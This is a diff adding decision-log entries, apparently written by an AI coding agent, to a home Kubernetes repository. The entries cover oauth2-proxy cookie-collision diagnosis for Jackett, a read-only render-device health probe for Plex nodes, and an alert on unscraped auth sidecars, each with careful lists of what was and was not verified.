+    --whitelist-domain=.{ZONE}                # unchanged: redirect targets, not cookie scope
+    --cookie-refresh=2m30s                    # half the measured 300 s token lifetime
+    (drop --pass-access-token, --set-xauthrequest)
+
+`--api-route=^/api/` is the one flag I would **not** apply renderer-wide on this evidence: I
+measured the 302/401 split on Jackett only, and PiHole's UI does not serve `/api/` at all. It needs
+either a per-app hook or four more measurements.
+
+**Metrics — asked for, and declined here for the same structural reason, not on merit.** It is true
+and I re-measured it: **no per-app sidecar exposes metrics**. Only the shared proxy carries
+`--metrics-address=0.0.0.0:44180` and a `metrics` container port; jackett, pihole, qbittorrent,
+radarr, sonarr and crafty all have `(ABSENT)` and ports `['http']` alone, so the listener never
+starts and nothing about these gates is scrapable. Adding it is worth doing and the pattern is
+already proven in-tree by the shared proxy. But it is **not** "inside my file": the container's
+`args` *and* its `ports` both come from `_oauth2_sidecar_container()`, so adding
+`--metrics-address` plus a `metrics` port hits the identical five-file blast radius as the cookie
+change. It belongs in the same single renderer commit — which is an argument for cutting that commit
+soon, not for me to hand-edit a golden a second time after the gate already refused the first.
+(Crafty is separately hand-written and could take the metrics flag on its own.)
+
+**Crafty is unaffected by all of this** — its sidecar is hand-written in
+`platform/crafty/deployment.yaml`, not rendered, which is why it could be and was fixed alone on
+2026-09-29.
+
+### What this branch does land
+
+`runbooks/oauth2-proxy-session.md` — the four sidecar log lines that tell Keycloak, the sidecar and
+the app's own login apart (including the upstream `-` field that means the proxy answered a request
+the app never saw), the cookie-collision cross-log diagnosis, the 5-minute-session check, the
+302-vs-401 trap, and the generated-golden warning with its measured blast radius. Registered in the
+runbooks `configMapGenerator` **and** listed in `runbooks/README.md`, so the URL resolves rather
+than the file merely existing.
+
+## What I verified
+
+- **The collision is the live failure.** `[stored_session.go:94] Error loading cookied session:
+  cookie signature not valid, removing session` — **1 occurrence in jackett's log (15:23:44), 8 in
+  radarr's** (15:22:49, 15:23:58, 15:27:59, **15:31:29**, 15:32:29 ×4), and **zero** in pihole,
+  qbittorrent, sonarr, crafty and both shared-proxy replicas. The 15:31:29 → 15:31:32 pair is the
+  operator's whole report.
+- **Six instances / seven pods are in the collision set** — the brief said five; the shared
+  forward-auth proxy in namespace `oauth2-proxy` is the sixth and runs 2 replicas. Read from live
+  pod specs: jackett, pihole, qbittorrent, radarr, sonarr and `oauth2-proxy` all have **no**
+  `--cookie-name` argument and `--cookie-domain=.home.keithjackson.dev`. Only crafty is fixed.
+- **All seven cookie-secrets differ.** Compared in-cluster by sha256, first 12 hex only, values
+  never printed: `d9c5…`/`0b3b…`/`b025…`/`bb6a…`/`25f4…`/`e679…`/`911a…`. So no two of these proxies
+  can read each other's cookie — the precondition for the eviction.
+- **The 5-minute lifetime**, from four `[AuthSuccess]` lines: `expires − created = 300.000 s`, with
+  `refresh_token:true` and `groups:[platform-admins]`. Live args confirm `--cookie-refresh` absent.
+- **The 302/401 split** on `/api/` paths in this pod's log: 33 × 302, 18 × 200, 2 × 401, 2 × 204.
+- **4 of the 6 POSTs never reached Jackett** — the access log's upstream field is `-`, not `/`:
+  `adminpassword` → 401, `adminpassword` → 401, `server/update` → 302, `server/update` → 302. The
+  two that did reach it (`adminpassword`, `indexers/1337x/config`) carry the authenticated email.
+- **The proposed argument list starts, against the pinned image and the real issuer.** Ran
+  `quay.io/oauth2-proxy/oauth2-proxy:v7.8.1` locally with the full proposed args; OIDC discovery
+  against `keycloak.home.keithjackson.dev` succeeded and it printed back its own reading:
+  `Cookie settings: name:_oauth2_proxy_jackett secure(https):true httponly:true expiry:168h0m0s
+  domains:jackett.home.keithjackson.dev path:/ samesite: refresh:after 2m30s` and
+  `API route - Path: ^/api/`.
+- **`--api-route` is singular.** The brief specified `--api-routes`, which does not exist in v7.8.1;
+  the proxy would have refused to start. Read off `--help`.
+- **`--session-cookie-minimal` is mutually exclusive with `--cookie-refresh`** — provoked, not
+  assumed: `invalid configuration: cookie_refresh > 0 requires oauth tokens in sessions.
+  session_cookie_minimal cannot be set`. This kills the brief's premise that dropping
+  `--pass-access-token` shrinks the cookie: only `--session-cookie-minimal` strips tokens from the
+  session, and it is unavailable while refresh is on. Dropping those two flags is justified on
+  **least privilege and inertness**, not size.
+- **`--set-xauthrequest` is inert here**: HTTPRoute `jackett-9117` backendRef is
+  `Service/jackett port 4180`, there is no ext-authz attachment on the `shared` Gateway, so
+  `/oauth2/auth` is never called.
+- **`apps/**` is generated and the fix cannot be scoped to one app** — both halves measured, not
+  inferred: the gate's `render-golden` stage rejected the hand-edit, and re-rendering after a
+  renderer-only change listed all five apps as changed (transcript above).
+- **Crafty's post-fix failure rate, bounded exactly.** Pod `crafty-647c7d8cc5-5spv9`,
+  `startTime=2026-09-30T03:57:19Z`, `restarts=0`, live args `--cookie-name=_oauth2_proxy_crafty` and
+  `--cookie-domain=crafty.home.keithjackson.dev`. Over that pod's whole lifetime: **3**
+  `No valid authentication`, 0 AuthSuccess, one client IP, 2 of the 3 on `/ws`. The 81:1 figure is a
+  24 h window over a 13.9 h pod and is dominated by the pre-fix process.
+- **The ratio metric ranks chattiness, not breakage.** Radarr 156:1 with the top paths being
+  `/api/v3/command`, `/api/v3/queue/details` and `/signalr/messages/negotiate` — UI polling, not 156
+  distinct user-visible failures.
+- **No per-app sidecar exposes metrics.** `--metrics-address` is `(ABSENT)` and `ports` is
+  `['http']` on all six per-app sidecars; only the shared proxy has
+  `--metrics-address=0.0.0.0:44180` and a `metrics` port.
+- **Gate:** `./ci/gate.sh` in the pinned toolbox, **rc 3 — UNDETERMINED, not green**. Green:
+  `spec-immutability`, `approval-policy`, `decisions-log`, `lint`, `l0`, `render-golden`, `l1`.
+  Skipped: `gitea-settings` (no `SETTINGS_API_TOKEN`) and L2/L3 conformance (`CLUSTER_AVAILABLE`
+  unset), leaving touched requirement `R-OBS-04` uncertified. Note `spec-immutability` is **green**,
+  not skipped — mounting the sibling spec repo at `/home-network-k3s` (the path
+  `ci/spec-immutability.sh` actually defaults to) in the ENGINE shim fixes that skip; the commonly
+  circulated shim mounts it at its host path, where `SPEC_REPO` never finds it.
+- **Gitea CI on this PR, read from the commit's `/statuses` rather than from a tick.** Two contexts
+  reported, and **only one of them ran**:
+
+      gate / gate (pull_request)         state=success   desc='Successful in 1m41s'
+      gate / conformance (pull_request)  state=success   desc='Has been skipped'
+
+  That second line is §2b's trap in the wild: a **skipped** Gitea job reports `state=success`. The
+  conformance job did not execute, so the green tick beside it certifies nothing. Read together with
+  the local rc 3 above, the two agree exactly — the offline L0/L1 subset passed and L2/L3 never ran.
+  Anyone reading the PR's check mark alone would conclude otherwise.
+- **`main` is protected**, re-measured this session rather than assumed:
+  `GET /repos/.../branches/main` → `protected=true`, `user_can_push=false`.
+
+## What I did NOT verify
+
+- **The operator's problem is NOT FIXED by this branch.** Only the diagnosis and the runbook land.
+  Jackett's sidecar is unchanged and will keep losing its session to Radarr until the renderer
+  change ships. **This is the single most important line in this entry.**
+- **No browser round-trip.** Every mechanism is measured from logs and specs and the argument list
+  is proven to start, but nobody has added an indexer through the proposed configuration. The human
+  test is below, for whoever lands the renderer change.
+- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. The running pod is
+  still `jackett-c5bfcbfb8-c75f9` (2/2 Running, 17 d, 0 restarts — unchanged by this session's
+  read-only probes). Note that when the fix does land, merging is what deploys, and it will restart
+  the pod (`strategy: Recreate` on an RWO Longhorn volume), briefly interrupting Radarr's and
+  Sonarr's direct `:9117` access.
+- **Cookie size and chunking: UNMEASURED, and I will not claim either way.** I could not read a
+  `Set-Cookie` header without a browser. I found no `_oauth2_proxy_0`/`_1` chunk evidence and no
+  4 kB warning in 36,287 log lines — but I did **not** establish that v7.8.1 emits such a warning at
+  this log level, so that absence is not evidence. If sessions still misbehave after the fix lands,
+  this is the next thing to measure, with `--session-store-type=redis` as the escape hatch, since
+  `--session-cookie-minimal` is ruled out (above).
+- **`--cookie-refresh=2m30s` has never executed a refresh here.** It depends on Keycloak accepting
+  the refresh token and on the realm's SSO Session Idle/Max, none of which I read (that needs admin
+  credentials). If Keycloak's *refresh* token is also short-lived, the five-minute logout persists
+  and the realm is where to look next.
+- **`--api-route` is measured for Jackett only.** PiHole and qBittorrent were not measured, and
+  PiHole's UI does not serve `/api/`. Do not apply it renderer-wide on my evidence.
+- **The four sibling apps still collide with each other** regardless of what happens to Jackett.
+  The same operator report should be expected from any of pihole / qbittorrent / radarr / sonarr.
+- **L2/L3 conformance did not run** (`CLUSTER_AVAILABLE` unset), so nothing about runtime behaviour
+  is certified by the gate. `gitea-settings` also skipped, so branch protection and runner state are
+  **unverified by me this session** — I did not re-measure them against the Gitea API.
+- **I did not query Loki.** The Crafty bounding above comes from the pod log, which I argue is the
+  better instrument (an exact process boundary rather than a wall-clock window against a 72 h
+  retention). But it means I cannot speak to the 24 h or 12 h *platform-wide* ratios, and a
+  per-app ratio over a window longer than the current pod's life is not something I measured at all.
+- **Collision causation is one adjacency, not a population.** The 15:31:29 → 15:31:32 pair is three
+  seconds and the mechanism is documented and present, but I did not enumerate every jackett failure
+  and match it to a radarr ClearSession. Treat mechanism 1 as **necessary and firing, not proven
+  sufficient** — the coordinator's framing, and I agree with it on this evidence.
+- **The metrics change is NOT in this branch** (reason above). Jackett therefore remains inside the
+  oauth2-proxy metrics gap, and the ratio alert shipped in PR #29 still cannot see it.
+- **The runbook's commands were not all executed verbatim.** The log-reading ones I ran; the
+  per-namespace `for` loops are edited from the scripted forms I actually used.
+
+### The human test — for whoever lands the renderer fix
+
+After it merges and the pod rolls (watch for a **new** pod name at 2/2):
+
+1. **Sign in** at `https://jackett.home.keithjackson.dev/UI/Dashboard`.
+2. **Open Radarr in a second tab** and sign in there too. **This is the step that breaks Jackett
+   today** — it is the 15:31:29 line. Return to the Jackett tab.
+3. **Add an indexer** — *+ Add indexer*, pick one, *Configure*, *Okay*. It must save.
+4. **Wait six minutes on the open dashboard, then save another.** That is the `--cookie-refresh`
+   test; the session currently dies at five.
+5. **If something does still fail, it must now fail LOUDLY** — DevTools → Network, a broken `/api/`
+   call shows **401**, not a 302 followed by HTML. A silent success-looking no-op means the change
+   did not take; check the running pod's args before assuming anything else.
+6. **A plain page reload must still sign you in silently** (`/UI/Dashboard` is outside `^/api/`).
+   A 401 page on reload means the regex is too broad — that is a regression.

decisions/2026-09-30-node-health-render-device.md

@@ -0,0 +1,283 @@
+---
+date: 2026-09-30
+branch: feat/node-health-render-device
+title: The Intel render device is now self-re-measuring, not a fact someone checked once
+---
+
+## What changed
+
+### Why this probe has value at all
+
+**Nothing else in the platform would notice the device going missing.** Plex exposes no
+ServiceMonitor, so no alert fires on a silent fall back to software transcoding. And the
+manifest side mounts the device with `hostPath type: DirectoryOrCreate`, which means a node
+*without* the device mounts an **empty directory** — Plex starts, runs, and degrades quietly
+rather than failing loudly. There is no crash loop, no failed mount, no alert: just a hot CPU.
+This check is the only thing in the system that would surface it, which is the actual
+justification for the role carrying it.
+
+### The change
+
+`roles/node_health` grew a graphics / render-device probe. Nothing was installed, no module
+was loaded, no group was changed, nothing was rebooted: the prod nodes already have a working
+Intel render device (measured by hand on all three on 2026-09-30) and the point of this change
+is that the measurement now **re-runs forever** instead of decaying silently in a handoff note.
+
+The failure this exists to catch is silent by construction. Plex hardware-transcodes through
+`/dev/dri/renderD128`; if that node stops existing — node rebuild, a BIOS change that disables
+the onboard IGD, a kernel that binds a different DRM driver, a driver regression — Plex falls
+back to software transcoding on its own and the only symptom is a hot CPU.
+
+Four files:
+
+- `files/node_health_collect.py` — new `collect_graphics()`, wired into the **unprivileged**
+  pass (`main()`). Everything it reads is world-readable: `lstat()` on `/dev/dri/*`,
+  `grp.getgrgid()` for the owning group name, the `/sys/class/drm/card*/device/driver` symlink
+  target for the bound driver, `/sys/bus/pci/devices/*/class` for display-class (PCI base class
+  `0x03`) devices whether or not a driver is bound, `/sys/class/drm/card*/engine/*` for the
+  `vcs*`/`vecs*` media engines, `/proc/modules`, `/proc/cmdline`, and
+  `/sys/module/{i915,xe}/parameters/enable_guc`. `lspci` and `vainfo` were added to the
+  existing tool probe; both are optional and neither is depended on.
+- `tasks/assess.yml` — one shared derive task plus three checks: `graphics.render_device`
+  (PASS/FAIL/SKIP), `graphics.drm_driver` (PASS/WARN/FAIL/SKIP), `graphics.media_stack`
+  (INFO/SKIP).
+- `defaults/main.yml` — `node_health_graphics_expected_driver: i915`, so the one comparison the
+  check makes is data rather than task logic.
+- `templates/summary.txt.j2` — a `GRAPHICS / RENDER DEVICE` section, and
+  `roles/node_health/README.md` gained a section explaining the design and two new "known
+  limits".
+
+Three design rulings worth stating, because each is the kind of thing a later edit would get
+wrong:
+
+1. **The render node's GID is reported, never asserted.** It read `root:render`, gid **992**,
+   mode `0660` on all three prod nodes. The check does *not* compare against `992`. `render` is
+   a **systemd dynamic** allocation (`systemd-sysusers`), not a Debian static gid from
+   `base-passwd`, so a rebuild can legitimately move it — and Plex's container entrypoint stats
+   the device and joins whichever group owns it, so drift genuinely is not a fault. The
+   observed group name and number appear in the detail line, which makes drift *visible*
+   without making it an error. A hard `!= 992` would be a false alarm waiting for a reinstall.
+2. **The PCI scan is deliberately separate from the DRM scan.** `/sys/class/drm/card*` exists
+   only once a driver has *bound*, so a GPU with nothing attached has no `card0` and would
+   otherwise be indistinguishable from a machine with no GPU. Scanning the PCI bus separately
+   is what lets "no display device at all" be an honest **SKIP** (a VM guest — the same
+   convention `thermal.max` already uses for "no sensor on this hardware") while "a GPU is on
+   the bus and there is still no render node" is a **FAIL**.
+3. **GuC/HuC and host VAAPI userspace are INFO and must stay INFO.** GuC/HuC off
+   (`i915.enable_guc=0`) is an accepted state here and costs low-power H.264 encode *quality*
+   only. No host `vainfo` is not a defect at all — Plex ships its own libva and media driver
+   inside its container. Grading either would put a permanent WARN on a chosen configuration,
+   or invite someone to `apt install vainfo` on a node to clear a health check, and this role
+   installs nothing.
+
+`xe` bound instead of `i915` is a **WARN**, not a FAIL: the device still works, but the two
+drivers do not share a userspace media stack. On these nodes `xe.ko.xz` exists on disk and is
+bound to nothing.
+
+## What I verified
+
+### The real prod run (read-only, all three nodes)
+
+`--list-hosts` first, every time. It named exactly three hosts and nothing else:
+
+    play #1 (k3s_prod): Inspect node hardware health (read-only)
+        pattern: ['k3s_prod']
+        hosts (3): k3s-prod-3  k3s-prod-2  k3s-prod-1
+
+Then `--syntax-check` (rc 0), then the run:
+
+    ansible-playbook playbooks/node-health.yml -e node_health_hosts=k3s_prod --limit k3s_prod
+
+    k3s-prod-1 : ok=51  changed=3  unreachable=0  failed=0  skipped=1
+    k3s-prod-2 : ok=51  changed=2  unreachable=0  failed=0  skipped=1
+    k3s-prod-3 : ok=51  changed=2  unreachable=0  failed=0  skipped=1
+    PLAY rc=0
+
+(The `changed=` counts are the *controller-side* artifact writes under
+`infra/ansible/_artifacts/node-health/`, delegated to localhost. Nothing on any node changed —
+the collector task is `changed_when: false` and the role touches nothing.)
+
+All three nodes graded **PASS / PASS / INFO** on the new checks, 0 FAIL overall:
+
+    k3s-prod-1  VERDICT  0 FAIL · 1 WARN · 18 PASS · 2 SKIP · 6 INFO
+    k3s-prod-2  VERDICT  0 FAIL · 3 WARN · 15 PASS · 3 SKIP · 6 INFO
+    k3s-prod-3  VERDICT  0 FAIL · 2 WARN · 17 PASS · 2 SKIP · 6 INFO
+
+    [PASS] graphics.render_device — DRM render node present for hardware transcoding (/dev/dri/renderD*)
+    [PASS] graphics.drm_driver   — DRM driver bound to the display device (expected i915)
+    [INFO] graphics.media_stack  — Media engines, GuC/HuC firmware and host VAAPI userspace (informational)
+
+(The pre-existing WARNs and SKIPs are other checks — SMART, memattr, resolvers — and are not
+mine; none of them moved.)
+
+The new report section, **byte-identical on all three nodes**:
+
+    --------------------------------------------------------------------------------
+     GRAPHICS / RENDER DEVICE (the Plex hardware-transcoding path)
+    --------------------------------------------------------------------------------
+     pci  0000:00:02.0 00:02.0 VGA compatible controller [0300]: Intel Corporation CoffeeLake-S GT2 [UHD Graphics 630] [8086:3e98] (rev 02)
+                  driver i915
+     drm  card0        driver i915     at 0000:00:02.0  engines bcs0 rcs0 vcs0 vecs0
+     dev  card0        character special  mode 0660  root:video gid 44
+     dev  renderD128   character special  mode 0660  root:render gid 992
+     GuC/HuC     NOT READ — /sys/module/i915/parameters/enable_guc is not
+                  readable without root (i915 module parameters are mode 0400)
+                 no i915/xe parameter on the kernel cmdline
+     modules     amdgpu=false, i915=true, nouveau=false, nvidia=false, radeon=false, xe=false (/proc/modules — corroboration only; the bound-driver symlink above decides)
+     vainfo      NOT installed on this host — not a defect: Plex ships its own libva/media driver inside its container
+
+That reproduces every item of the 2026-09-30 hand measurement independently: `renderD128`
+character special, `root:render`, **gid 992**, mode `0660`; `card0` `root:video` gid 44 mode
+`0660`; `i915` bound; `xe` **not** loaded and bound to nothing; `[8086:3e98] (rev 02)`
+CoffeeLake-S GT2 UHD Graphics 630 at `00:02.0`; `vcs0` and `vecs0` live; no host `vainfo`.
+
+**One measured correction to my own phase-1 assumption:** `lspci` **is** present on all three
+prod nodes (`/usr/bin/lspci` — Debian ships `pciutils` by default). I had written that it was
+absent. It is still *treated* as optional, because `pciutils` is genuinely not declared in
+`node_baseline_packages` and depending on an undeclared package would be wrong — but the
+comments and README that asserted it was missing were factually wrong and are now corrected.
+Its presence is why the `pci` line above carries a readable device name rather than bare IDs.
+
+### The gate
+
+    DEV_KUBECONFIG=/dev/null ENGINE=<shim> ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
+    GATE rc=3
+
+**rc 3 — UNDETERMINED. NOT green.** Nothing failed, and nothing is certified either. Exactly
+three stages did not run, all three the known local ceiling from a worktree, and **no fourth
+skip**:
+
+    [skip] spec-immutability  spec repo not present at /work/../home-network-k3s (set SPEC_REPO)
+    [skip] gitea-settings     SETTINGS_API_TOKEN is not set — cannot read the live Gitea rule
+    [skip] conformance        no cluster configured (CLUSTER_AVAILABLE!=true) — L2/L3 NOT RUN
+
+    [ ok ] decisions-log: pass      [ ok ] lint: pass       [ ok ] l0: pass
+    [ ok ] render-golden: pass      [ ok ] l1: pass         [ ok ] approval-policy: pass
+
+Both CLAUDE.md §3 worktree workarounds were needed and both worked: `DEV_KUBECONFIG=/dev/null`
+(the credential in the main checkout was **not** copied) and an `ENGINE` shim that bind-mounts
+the main checkout's `.git` read-only. No `tracked_files()` traceback appeared, which is how I
+know the shim took effect rather than the git stages silently degrading.
+
+`ansible-lint` was **not** run, because **`ci/` does not invoke it anywhere** — I grepped
+`ci/` and `.gitea/` and the lint stage is `yamllint -c ci/yamllint.yaml` only. I am not
+claiming to have matched a lint convention that does not exist.
+
+### The CI gate on the PR — a green tick that is exit 3, read from the log
+
+The required context `gate / gate (pull_request)` reported **`success`, "Successful in 1m40s"**
+on commit `a78f010`. That description matters: a *skipped* Gitea job reports `success` with
+"Has been skipped", so this one genuinely ran, and 1m40s matches CLAUDE.md §2's ~1m35s.
+
+**But the green tick does NOT mean `gate.sh` returned 0.** `.gitea/workflows/gate.yml:138` is
+`run: ./ci/gate.sh || [ "$?" -eq 3 ]` — the job tolerates rc 3 by design. So I fetched the job
+log (`/actions/runs/173/jobs/0/logs`; the `/api/v1/.../tasks/{id}/logs` endpoints 404 on this
+Gitea, the web route serves it) and read the gate's own headline:
+
+    [fail] MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED.
+    [fail]   Stages that did not run: spec-immutability
+
+**So CI is also rc 3, with exactly ONE stage skipped — `spec-immutability`.** The green Gitea
+check is the tolerance swallowing that 3, not a rc 0.
+
+**CI verified two things my local run could not, and both came back green:**
+
+    [ ok ] stage gitea-settings: pass
+    [ ok ]   enable_push = false          enable_status_check = true
+    [ ok ]   required_approvals = 1       block_admin_merge_override = true
+    [ ok ]   block_on_rejected_reviews = true   dismiss_stale_approvals = true
+    [ ok ]   runners online: 1 (>= 1)
+    [ ok ] Gitea settings match the declaration.
+    [ ok ] stage approval-policy: pass
+    [ ok ] no architecturally/security-relevant paths touched — the GATE is the approver.
+
+My local run **skipped** `gitea-settings` (no `SETTINGS_API_TOKEN`) and could not give
+`approval-policy` a PR number. CI has the secret and `REQUIRE_GITEA_SETTINGS: "true"`, so a skip
+there would have failed the job. That is measured confirmation that the live Gitea matches
+`infra/gitea/expected-branch-protection.json`, and that `infra/ansible/**` needs no human
+reviewer. `lint` passed over 405 files. `conformance` SKIPPED in CI too
+(`CLUSTER_AVAILABLE != true`), so L2/L3 remains unverified there as well.
+
+Corroborated independently: `GET /repos/.../branches/main` →
+`protected=true user_can_push=false enable_status_check=true required_approvals=1`,
+contexts `["gate / gate (pull_request)"]`; `GET /admin/actions/runners` → `incluster-dind
+status=online`. And note the commit's **combined** state is `pending`, not success, because
+`gate / conformance (pull_request)` sits at "Blocked by required conditions" — that context is
+not in the required list, so it does not block, but the PR is not "all green" either.
+
+The gate's `lint` stage passed with one `line too long` **warning** on
+`roles/node_health/tasks/assess.yml:189` — that is pre-existing, in the SMART block, well
+above my insertion point, and warnings do not fail the stage.
+
+### Offline work (before the lock was released)
+
+- `python3 -m py_compile` on the collector: clean.
+- `collect_graphics()` executed for real against this workstation's hardware (an unrelated
+  machine, Raptor Lake-S UHD Graphics + an NVIDIA discrete GPU) and returned the whole
+  structure with no exception, correctly reporting two cards, two render nodes, the bound
+  driver per card, the `vcs0/vcs1/vecs0` media engines, and `enable_guc` as *not readable
+  without root* rather than as a fabricated `0`.
+- That last point is a real finding and changed the design: `/sys/module/i915/parameters/*` is
+  **mode 0400**, so an unprivileged pass cannot read `enable_guc`. It now reports
+  `NOT READ — <reason>` and `/proc/cmdline` is read as the world-readable second source. An
+  earlier draft would have silently reported a null.
+- Two other bugs found and fixed by running it rather than reasoning about it:
+  `/dev/dri/by-path` is a **directory** and was being `lstat()`ed as a device; and
+  `/sys/class/drm` carries one entry per *connector* (`card0-HDMI-A-1`), which had to be
+  excluded from the card scan.
+- All three checks and the new template section were rendered through a standalone Jinja
+  harness (Ansible is not on the host — CLAUDE.md §5) against **seven** fact sets: the real
+  workstation; GPU present with the render node removed; no display device at all; `xe` bound
+  in place of `i915`; a display device with **no** driver bound; `renderD128` present but not a
+  character device; and a shape with neither `lspci` nor `vainfo`. Zero template errors, and
+  the statuses came out as designed — `FAIL/PASS/INFO`, `SKIP/SKIP/SKIP`, `PASS/WARN/INFO`,
+  `FAIL/FAIL/INFO`, `FAIL/PASS/INFO` respectively. The harness supplies stand-ins for the
+  Ansible-only filters (`bool`, `dict2items`, `flatten`, `zip`, `regex_replace`) and matches
+  Ansible's `trim_blocks=True`.
+  **Read that for exactly what it is: evidence that the LOGIC is right, and no evidence
+  whatsoever that the HARDWARE DETECTION is.** Six of those seven fact sets were hand-mutated
+  dictionaries, not machines. They are not hardware tests and must not be written up as if
+  they were.
+
+## What I did NOT verify
+
+- **The FAIL path has never fired on a real node.** Every prod node has a working render
+  device, and this role is read-only, so a device cannot be taken away to prove the check
+  catches its absence. The failure branches were exercised against **synthetic fact sets
+  only** (see above). I am not claiming the failure path is tested against hardware.
+- **`xe` detection is likewise untested against reality.** No node here has `xe` bound — the
+  module exists on disk as `xe.ko.xz` and is bound to nothing — so the WARN branch was only
+  ever driven by a mutated fact set. If `xe` ever does bind, the *shape* of
+  `/sys/class/drm/card*` under it is something I have assumed matches i915's (same
+  `device/driver` symlink, same `engine/*` directories). That assumption is unverified.
+- **The media-engine sysfs path is confirmed on these nodes but not proven portable.**
+  `vcs0`/`vecs0` were read from `/sys/class/drm/card0/engine/*` on all three prod nodes, so it
+  is measured here. I did **not** confirm against kernel source that no other kernel version or
+  driver publishes engines elsewhere. If one does, the check reports "none exposed" — an INFO
+  line, not a false verdict, which is why this failure mode is tolerable.
+- **`enable_guc` is still unread on prod.** The report says `NOT READ — mode 0400`, which is
+  honest but means I have **not** confirmed by measurement that GuC/HuC is off on these nodes;
+  I only know the kernel cmdline carries no `i915.enable_guc=` override. The brief's ground
+  truth says `i915.enable_guc=0`; my check does not corroborate that value, it declines to
+  guess it. Reading it would need root, and it is INFO either way, so I left it alone.
+- **Not a transcode test.** These checks prove the render *device* exists, is a character
+  device, and which driver owns it. They do **not** prove a transcode succeeds — that needs a
+  VAAPI round trip inside Plex's own container with Plex's own libva, and is out of scope for a
+  node-level check that installs nothing.
+- **Greenness was never established, locally or in CI.** Both runs returned **rc 3**. My local
+  run skipped three stages (`spec-immutability`, `gitea-settings`, `conformance`); CI skipped
+  one (`spec-immutability`) and its own headline says `MERGE GATE: UNDETERMINED`. **I am not
+  describing this PR as green**, and the green Gitea tick must not be read as one: the workflow
+  line is `./ci/gate.sh || [ "$?" -eq 3 ]`, so it is a tolerated 3.
+- **L2/L3 conformance did not run anywhere** — `CLUSTER_AVAILABLE != true` in both. Whatever
+  runtime requirements this touches remain UNVERIFIED; only the L0/L1 offline subset passed.
+- **`spec-immutability` ran in neither.** The sibling spec repo is checked out in neither my
+  worktree nor the CI workspace, so nothing confirms this change does not drift from the spec.
+  It is the expected, tolerated skip — but it is still a skip, not a pass.
+- **No claim about the live platform beyond what was printed.** Per CLAUDE.md §2b this repo is
+  not evidence about prod; the only prod facts I assert are the ones quoted verbatim above.
+  Branch protection and runner state I did query directly, and the CI `gitea-settings` stage
+  passed — so those two I assert on measurement, not on this file's prose.
+- **The stale dev inventory was left alone deliberately.** `hosts.ini` still defines the
+  `k3s-dev-*` groups as the default target of most playbooks and the dev cluster no longer
+  exists. That is real, it is out of this change's scope, and it is unclaimed work.

decisions/2026-09-30-oauth2-proxy-auth-failure-visible.md

@@ -0,0 +1,289 @@
+---
+date: 2026-09-30
+branch: feat/oauth2-proxy-auth-failure-visible
+title: The Jackett auth failure was invisible because the gates emit nothing — alert on the gap, not on a metric that does not exist
+---
+
+## What changed
+
+Jackett's UI broke in the way that costs the most: **HTTP 200 and a plausible page**. The
+operator's report named the property that matters — *"reloading the page never fixes the issue and
+the user is never re-prompted for login"*. Two sibling branches fix the auth defects. This one is
+about the fact that **no signal existed anywhere**, and it turns out that is not an oversight in
+the alert rules. It is an absence of data.
+
+**The measurement that decided the whole design** (prod, live Prometheus, 2026-09-30):
+
+    count by (__name__) ({__name__=~"oauth2_proxy.*"})
+      oauth2_proxy_requests_in_flight => 2
+
+Two series. Both from the **shared** forward-auth Deployment in the `oauth2-proxy` namespace.
+That is every oauth2-proxy metric this cluster holds. The six per-app gate sidecars — crafty,
+jackett, pihole, qbittorrent, radarr, sonarr — publish **nothing at all**: they run with
+`--http-address=0.0.0.0:4180` and no `--metrics-address`, so oauth2-proxy's metrics listener never
+starts; they declare only a `http:4180` container port; and no ServiceMonitor or PodMonitor in the
+cluster selects them.
+
+So the alert the brief asked for — *"a gated app is serving a sustained rate of auth redirects to
+a user who is authenticated"* — **is not writable**, and writing it anyway would have produced
+exactly the artefact this repo keeps getting burned by: a rule that is present, evaluating,
+permanently silent, and indistinguishable from health. It was not written.
+
+What was written instead alerts on the condition that made the incident invisible, from families
+that **are** scraped:
+
+- **`platform/oauth2-proxy/auth-visibility-alerts.yaml`** — `OAuth2ProxyGateUnobserved`:
+
+      count by (namespace) (kube_pod_container_info{container="oauth2-proxy"})
+        unless
+      count by (namespace) (up{container="oauth2-proxy"})
+
+  `for: 1h`, `severity: warning`. `kube_pod_container_info` is kube-state-metrics (a declared
+  owner in `alert-metrics-have-scrape-targets`) and sees the container whether or not it exports
+  anything; `up` is UNIVERSAL and carries a `container` label for any scrape target, so the rule
+  needs no advance knowledge of what job name a future per-app scrape will use. Nothing in it
+  touches `oauth2_proxy_*`, so it cannot be inert for the reason it is reporting. **It returns six
+  namespaces against live prod right now** and excludes `oauth2-proxy`, which is scraped. It
+  clears per-namespace as each gate gains a real scrape.
+- **`platform/oauth2-proxy/auth-visibility-alerts.promtool-test.yaml`** — four states pinned:
+  fires for an unscraped namespace, never for the scraped one, honours `for: 1h` (pending at 59m),
+  and **stops** once a scrape appears under a *different* job name. Series shapes copied off live
+  prod, not invented.
+- **`runbooks/oauth2-proxy-auth-failures.md`** — how to tell "the gate refused me" from "the group
+  check refused me" from "the app refused me" from "the XHR silently got HTML", with the
+  2026-09-30 jackett trace as the worked example. Registered in `runbooks/kustomization.yaml`'s
+  `configMapGenerator` and listed in `runbooks/README.md`.
+- **`runbooks/README.md`** — a new row in *"Alerts you should not trust the silence of"* for the
+  per-app sidecars, plus the measured reason.
+- **`platform/oauth2-proxy/README.md`** — what this component can and cannot see, and the exact
+  three-part change that would close the gap.
+
+**Why the obvious alternative was rejected.** An alert on the *shared* proxy's
+`oauth2_proxy_requests_total{code="302"}` ratio is the one a reader expects to see here. It would
+need a new `SCRAPE_OWNERS` entry in `conformance/**` (a sensitive path needing human approval),
+and — decisively — **it would not have fired on this incident**: the shared instance is not in the
+data path for any sidecar-gated app, and its current pods export no `oauth2_proxy_requests_total`
+at all, having proxied nothing since they started (the counter exists in the TSDB only from an
+older ReplicaSet, `oauth2-proxy-78449b5657-*`, with `code` labels `302` and `401` and no `202`).
+Shipping it would have looked like coverage of the reported failure and been none.
+
+## What I verified
+
+Everything below was measured against live prod through the pinned container, read-only. No
+`apply`, no `edit`, no `patch`, no `flux reconcile`.
+
+- **The full oauth2-proxy metric inventory.** `count by (__name__) ({__name__=~"oauth2_proxy.*"})`
+  → `oauth2_proxy_requests_in_flight => 2`. `count by (__name__) ({job="oauth2-proxy"})` returns
+  go_*/process_*/promhttp_* plus that one family and nothing else. **Only the shared instance is
+  scraped**: `up{job="oauth2-proxy"}` → 2 targets, `10.0.1.189:44180` and `10.0.2.47:44180`, both
+  `1`, `namespace="oauth2-proxy"`.
+- **The per-app sidecars are unscraped, and unscrapable as configured.** Every pod carrying an
